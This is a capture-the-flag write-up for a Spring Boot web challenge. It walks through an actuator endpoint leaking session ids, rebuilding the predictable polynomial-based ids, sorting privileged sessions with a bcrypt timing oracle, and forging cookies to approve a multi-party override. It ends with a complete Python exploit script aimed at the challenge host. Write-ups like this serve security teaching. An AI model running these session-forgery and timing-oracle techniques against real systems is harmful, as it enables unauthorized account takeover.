$ cat writeup.md…
$ cat writeup.md…
umasscybersec
Task: a Spring Boot control panel exposed session metadata through an authenticated actuator endpoint and used deterministic share-based session ids. Solution: reconstruct the quadratic session polynomial, classify YANKEE_WHITE sessions with a timing oracle, then complete the public multi-party override flow with forged session cookies.
NUCLEAR CONTROL CENTER — TARGETTED ESPIONAGE
We have gathered intelligence that their overide system requires four individuals with the highest security clearance to shut down. You must infiltrate their control systems and compromise four accounts.
Luckily, the Bricktator is not very tech literate, and we have managed to compromise his credentials from a spear-phishing attack.
bricktator/goldeagle.
English summary: this was a Spring Boot web challenge where one valid low-privilege login exposed enough session metadata to recover every seeded session id in the system. A timing side channel then separated high-clearance sessions from normal ones, which made the multi-party override solvable.
The challenge starts with working credentials for bricktator/goldeagle. After login, the application exposes Spring actuator endpoints, and one of them leaks session ids by username. Those session ids are not random: they are deterministic shares from a quadratic polynomial modulo a prime. Once that polynomial is reconstructed, all valid session ids can be generated offline.
The final step is not simple session forgery by itself. The override workflow needs multiple YANKEE_WHITE participants, so the remaining problem is to classify which enumerated sessions belong to that role. That distinction leaks through a timing oracle in /command, allowing recovery of four extra privileged sessions and completion of the shutdown flow.
After reading the dossier and logging in as bricktator, the most important observations were:
GET /actuator/sessions?username=<user> returned raw session ids for chosen usernames;john_doe, jane_doe, and bricktator;2147483647 (0x7fffffff);SESSION cookie was just base64 of the raw session id string;/actuator/accesslog was disabled remotely, so the residual side channel had to come from timing.Useful request pattern:
GET /actuator/sessions?username=bricktator HTTP/1.1 Host: bricktatorv2.web.ctf.umasscybersec.org:8080 Cookie: SESSION=<authenticated cookie>
Representative responses included ids in this format:
05001-56d11080 00005-2530641c 00001-........
That immediately suggested each id encoded an x-coordinate and a y-value in hex.
The first vulnerability was an authenticated information leak: /actuator/sessions?username=<user> exposed raw session ids for arbitrary users. That already breaks session secrecy.
The more serious flaw was that session ids were generated from a quadratic Shamir-like polynomial instead of a cryptographically random token. With three shares, the entire polynomial can be reconstructed.
The relevant model was:
y = a*x^2 + b*x + c mod p p = 2147483647
Known x-coordinates from the application logic were effectively:
john_doe -> x = 1jane_doe -> x = 5bricktator -> x = 5001With those three (x, y) points, all valid session ids for x = 1..5001 can be enumerated.
Enumerating valid sessions still does not reveal which users have YANKEE_WHITE. That leaked through CommandWorkFilter: requests to /command decoded the SESSION cookie, loaded the backing session, and performed an expensive bcrypt operation only for YANKEE_WHITE sessions.
So the oracle was:
YANKEE_WHITE session -> slow /commandQ_CLEARANCE session -> fast /commandThis remained exploitable even though /actuator/accesslog was disabled on the remote target.
The override logic had a second authorization flaw. /override/** was reachable without authentication, but the completion logic still trusted the server-side session repository role values. That meant an attacker only needed valid privileged session ids, not a real interactive login for each privileged user.
In other words:
/command/override had to be initiated as bricktator;/override/<token> accepted approvals using session cookies alone;bricktator/goldeagle.john_doe, jane_doe, and bricktator.(x, y) shares.2147483647.x = 1..5001./command and rank candidates by response time.YANKEE_WHITE sessions.bricktator via /command/override and extract the override token./override/<token> using distinct recovered YANKEE_WHITE session cookies.def get_user_session(sess, username): r = sess.get( f"{BASE}/actuator/sessions", params={"username": username}, allow_redirects=False, timeout=15, ) data = r.json() return data["sessions"][0]["id"]
import base64 raw_id = "05001-56d11080" cookie_value = base64.b64encode(raw_id.encode()).decode()
P = 2147483647 def parse_session_id(raw): x_s, y_s = raw.split("-") return int(x_s), int(y_s, 16) def eval_poly(coeffs, x): c, b, a = coeffs return (c + b * x + a * x * x) % P
/commanddef measure_once(raw_id): headers = {"Cookie": f"SESSION={b64(raw_id)}"} start = time.perf_counter() r = requests.get(f"{BASE}/command", headers=headers, allow_redirects=False, timeout=15) return time.perf_counter() - start, r.status_code
POST /command/override HTTP/1.1 Cookie: SESSION=<bricktator cookie>
POST /override/<token> HTTP/1.1 Cookie: SESSION=<base64(valid_yankee_white_session_id)>
#!/usr/bin/env python3 import base64 import json import re import threading import time from concurrent.futures import ThreadPoolExecutor, as_completed import requests BASE = "http://bricktatorv2.web.ctf.umasscybersec.org:8080" USER = "bricktator" PASSWORD = "goldeagle" P = 2147483647 MAX_X = 5001 SCAN_WORKERS = 12 TIMEOUT = 15 thread_local = threading.local() def b64(raw: str) -> str: return base64.b64encode(raw.encode()).decode() def parse_session_id(raw: str): x_s, y_s = raw.split("-") return int(x_s), int(y_s, 16) def format_session_id(x: int, y: int) -> str: return f"{x:05d}-{y:08x}" def get_thread_session(): sess = getattr(thread_local, "session", None) if sess is None: sess = requests.Session() thread_local.session = sess return sess def solve_mod_3x3(shares): matrix = [[1, x % P, (x * x) % P] for x, _ in shares] vec = [y % P for _, y in shares] for col in range(3): pivot = next(r for r in range(col, 3) if matrix[r][col] % P != 0) matrix[col], matrix[pivot] = matrix[pivot], matrix[col] vec[col], vec[pivot] = vec[pivot], vec[col] inv = pow(matrix[col][col], -1, P) matrix[col] = [(v * inv) % P for v in matrix[col]] vec[col] = (vec[col] * inv) % P for r in range(3): if r == col: continue factor = matrix[r][col] % P if factor: matrix[r] = [ (matrix[r][c] - factor * matrix[col][c]) % P for c in range(3) ] vec[r] = (vec[r] - factor * vec[col]) % P c, b, a = vec return c, b, a def eval_poly(coeffs, x): c, b, a = coeffs return (c + b * x + a * x * x) % P def login_and_get_shares(): sess = requests.Session() sess.get(f"{BASE}/login", timeout=TIMEOUT) resp = sess.post( f"{BASE}/login", data={"username": USER, "password": PASSWORD}, allow_redirects=False, timeout=TIMEOUT, ) if resp.status_code != 302: raise RuntimeError("login failed") ids = {} for username in ("john_doe", "jane_doe", "bricktator"): r = sess.get( f"{BASE}/actuator/sessions", params={"username": username}, allow_redirects=False, timeout=TIMEOUT, ) ids[username] = r.json()["sessions"][0]["id"] return sess, ids def measure_once(raw_id): sess = get_thread_session() headers = {"Cookie": f"SESSION={b64(raw_id)}"} start = time.perf_counter() resp = sess.get( f"{BASE}/command", headers=headers, allow_redirects=False, timeout=TIMEOUT, ) return raw_id, time.perf_counter() - start, resp.status_code def average_timing(raw_id, attempts=3): vals = [measure_once(raw_id)[1] for _ in range(attempts)] return sum(vals) / len(vals), vals def scan_yankee_white(all_ids, known_ids): slow_avg, _ = average_timing(known_ids["bricktator"], attempts=2) fast_avg, _ = average_timing(known_ids["jane_doe"], attempts=2) threshold = (slow_avg + fast_avg) / 2.0 scored = [] with ThreadPoolExecutor(max_workers=SCAN_WORKERS) as pool: futures = {pool.submit(measure_once, sid): sid for sid in all_ids} for future in as_completed(futures): raw_id, elapsed, _ = future.result() scored.append((elapsed, raw_id)) scored.sort(reverse=True) shortlist = [raw_id for _, raw_id in scored[:20]] verified = [] for raw_id in shortlist: avg, vals = average_timing(raw_id, attempts=3) verified.append((avg, raw_id, vals)) verified.sort(reverse=True) return [raw_id for avg, raw_id, _ in verified if avg > threshold] def initiate_override(sess): r = sess.post(f"{BASE}/command/override", allow_redirects=False, timeout=TIMEOUT) token = re.search(r"/override/([0-9a-f]{32})", r.text).group(1) return token def approve_with(raw_id, token): headers = {"Cookie": f"SESSION={b64(raw_id)}"} return requests.post( f"{BASE}/override/{token}", headers=headers, allow_redirects=False, timeout=TIMEOUT, ) def extract_flag(text): m = re.search(r"UMASS\{[^<\s]+\}", text) return m.group(0) if m else None def main(): sess, ids = login_and_get_shares() print(json.dumps(ids, indent=2)) shares = [ parse_session_id(ids["john_doe"]), parse_session_id(ids["jane_doe"]), parse_session_id(ids["bricktator"]), ] coeffs = solve_mod_3x3(shares) all_ids = [format_session_id(x, eval_poly(coeffs, x)) for x in range(1, MAX_X + 1)] yws = scan_yankee_white(all_ids, ids) token = initiate_override(sess) extras = [sid for sid in yws if sid != ids["bricktator"]][:4] final_flag = None for sid in extras: r = approve_with(sid, token) final_flag = extract_flag(r.text) or final_flag if not final_flag: r = requests.get(f"{BASE}/override/{token}", allow_redirects=False, timeout=TIMEOUT) final_flag = extract_flag(r.text) print(final_flag) if __name__ == "__main__": main()
UMASS{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar